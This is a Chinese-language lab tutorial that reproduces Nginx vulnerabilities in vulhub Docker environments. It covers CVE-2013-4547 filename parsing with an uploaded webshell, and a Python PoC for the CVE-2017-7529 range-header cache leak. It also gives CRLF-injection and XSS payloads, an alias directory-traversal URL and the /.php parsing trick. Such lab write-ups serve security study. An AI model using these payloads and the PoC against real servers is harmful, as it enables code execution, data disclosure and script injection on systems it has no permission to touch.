nginx中间件漏洞复现
nginx介绍
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。 其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、简单的配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强。 本文内容主要对nginx曾经爆出来的漏洞做漏洞复现
Nginx 文件名逻辑漏洞(CVE-2013-4547)
漏洞描述
这个漏洞其实和代码执行没有太大的关系,主要原因是错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。这是一个nginx解析漏洞。
漏洞影响版本
Nginx 0.8.41~1.4.3 Nginx 1.5.0~1.5.7
漏洞原理
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php ,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。
环境搭建
使用vulhub上的靶场即可
docker-compose up -d
访问http://your-ip:8080 出现如下页面代表环境搭建成功
漏洞复现
新建图片马 然后点击上传,使用burpsuite进行拦截,在文件名后面加上一个空格 然后点击send进行发包 可以看到上传成功,然后再访问文件上传的路径使用burpsuite进行抓包 空格的16进制编码为[0x20],然后在shell.jpg[0x20]后面再加上一个空格然后再加上.php,即访问文件名为shell[0x20][0x20].php 然后将上传文件名改为shell.jpg[0x20][0x00].php,然后点击发送 可以看到木马文件被成功解析,漏洞复现成功
Nginx越界读取缓存漏洞(CVE-2017-7529)
漏洞原理
Nginx 在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括 “文件头”+“HTTP 返回包头”+“HTTP 返回包体”。如果二次请求命中了该缓存文件,则 Nginx 会直接将该文件中的 “HTTP 返回包体” 返回给用户。
如果我的请求中包含 Range 头,Nginx 将会根据我指定的 start 和 end 位置,返回指定长度的内容。而如果我构造了两个负的位置,如 (-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于 “HTTP 返回包体” 前的 “文件头”、“HTTP 返回包头” 等内容。
漏洞影响版本
Nginx 的 0.5.6 - 1.13.2版本
环境搭建
使用vulhub上的环境即可
docker-compose up -d
访问http://your-ip:8080 出现如下页面即代表环境搭建成功 POC:
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
python3 poc.py http://your-ip:8080
注意这里只能在docker靶场目录运行此poc才有效,这个漏洞也很鸡肋
Nginx 配置错误导致漏洞
CRLF注入漏洞
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。 错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1 ,可注入Set-Cookie头。 触发XSS漏洞 payload:http://your-ip:8080/url=%0a%0d%0a%0d%0a<meta%20charset=ISO-2022-KR><img%20src=x%20onerror%0f=alert(1)> 可以看到XSS标签被成功嵌入到了里面
目录穿越漏洞
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。 错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
alias /home/;
}
Payload: http://your-ip:8081/files../ ,成功穿越到根目录:
add_header被覆盖
Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。 如下列代码,整站(父块中)添加了CSP头:
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
但/test2 的location中又添加了X-Content-Type-Options 头,导致父块中的add_header 全部失效: 触发XSS
Nginx 解析漏洞复现
使用vulhub上的环境
docker-compose up -d
然后访问http://your-ip/uploadfiles/nginx.png 出现如下界面即代表搭建成功 在后面加上/.php 成功被解析
|